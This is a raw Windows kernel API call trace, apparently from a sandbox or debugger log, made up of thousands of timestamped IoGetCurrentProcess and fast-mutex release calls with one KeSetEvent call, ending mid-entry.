[0098.765] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.773] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.773] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.773] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.780] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.788] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.794] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.794] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.794] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.801] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.809] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.809] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.809] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.815] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.823] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.823] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.823] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.830] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.838] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.838] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.838] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.844] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.844] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.844] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.852] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.852] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.852] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.858] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.858] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.858] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.865] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.865] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.865] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.872] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.872] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.879] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.886] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.886] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.886] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.893] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.900] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.900] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.900] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.907] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.907] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.907] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.914] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.914] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.914] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.920] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.920] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.920] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.928] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.934] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.941] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.949] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.949] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.949] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.973] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.980] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.981] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.982] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.982] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.010] IoGetCurrentProcess () returned 0xffffe000011ff900 [0099.010] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.010] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.085] IoGetCurrentProcess () returned 0xffffe000011ff900 [0099.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.217] IoGetCurrentProcess () returned 0xffffe000011ff900 [0099.217] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.217] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.298] IoGetCurrentProcess () returned 0xffffe000011ff900 [0099.299] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.299] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.464] IoGetCurrentProcess () returned 0xffffe000011ff900 [0099.464] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.464] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.464] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0099.517] IoGetCurrentProcess () returned 0xffffe000011ff900 [0099.517] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.517] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.550] IoGetCurrentProcess () returned 0xffffe000011ff900 [0099.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.562] IoGetCurrentProcess () returned 0xffffe000011ff900 [0099.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.591] IoGetCurrentProcess () returned 0xffffe000011ff900 [0099.592] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.592] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.652] IoGetCurrentProcess () returned 0xffffe000011ff900 [0099.652] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.652] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.754] IoGetCurrentProcess () returned 0xffffe000011ff900 [0099.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0099.780] IoGetCurrentProcess () returned 0xffffe000011ff900 [0099.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0099.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.324] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.325] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.325] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.325] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.325] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.325] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.460] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.460] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.460] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.460] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.464] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.464] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.464] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.477] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.477] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.477] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.479] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.479] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.479] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.480] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.480] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.480] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.484] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.484] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.484] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.486] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.486] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.486] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.488] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.489] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.493] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.493] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.493] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.495] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.495] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.495] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.496] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.496] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.496] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.498] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.498] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.498] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.500] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.501] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.501] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.501] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.503] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.505] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.509] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.509] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.509] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.511] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.511] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.511] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.515] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.518] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.520] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.522] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.523] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.523] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.524] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.524] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.524] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.527] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.527] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.527] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.529] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.529] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.529] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.530] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.531] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.531] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.532] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.532] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.532] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.534] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.535] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.537] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.537] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.537] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.540] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.540] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.540] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.541] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.543] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.543] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.543] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.549] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.549] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.549] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.567] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.574] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.574] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.574] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.580] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.580] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.580] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.588] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.594] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.594] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.594] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.602] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.602] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.602] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.608] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.608] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.608] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.615] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.615] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.615] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.624] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.624] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.624] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.631] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.638] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.638] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.638] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.644] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.652] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.652] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.652] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.659] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.666] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.666] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.666] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.673] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.673] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.673] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.681] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.681] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.682] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.689] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.689] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.689] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.696] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.696] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.697] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.703] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.703] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.703] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.710] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.717] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.723] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.724] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.724] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.731] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.731] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.731] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.737] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.744] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.744] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.744] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.751] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.751] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.751] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.759] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.759] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.766] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.766] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.766] 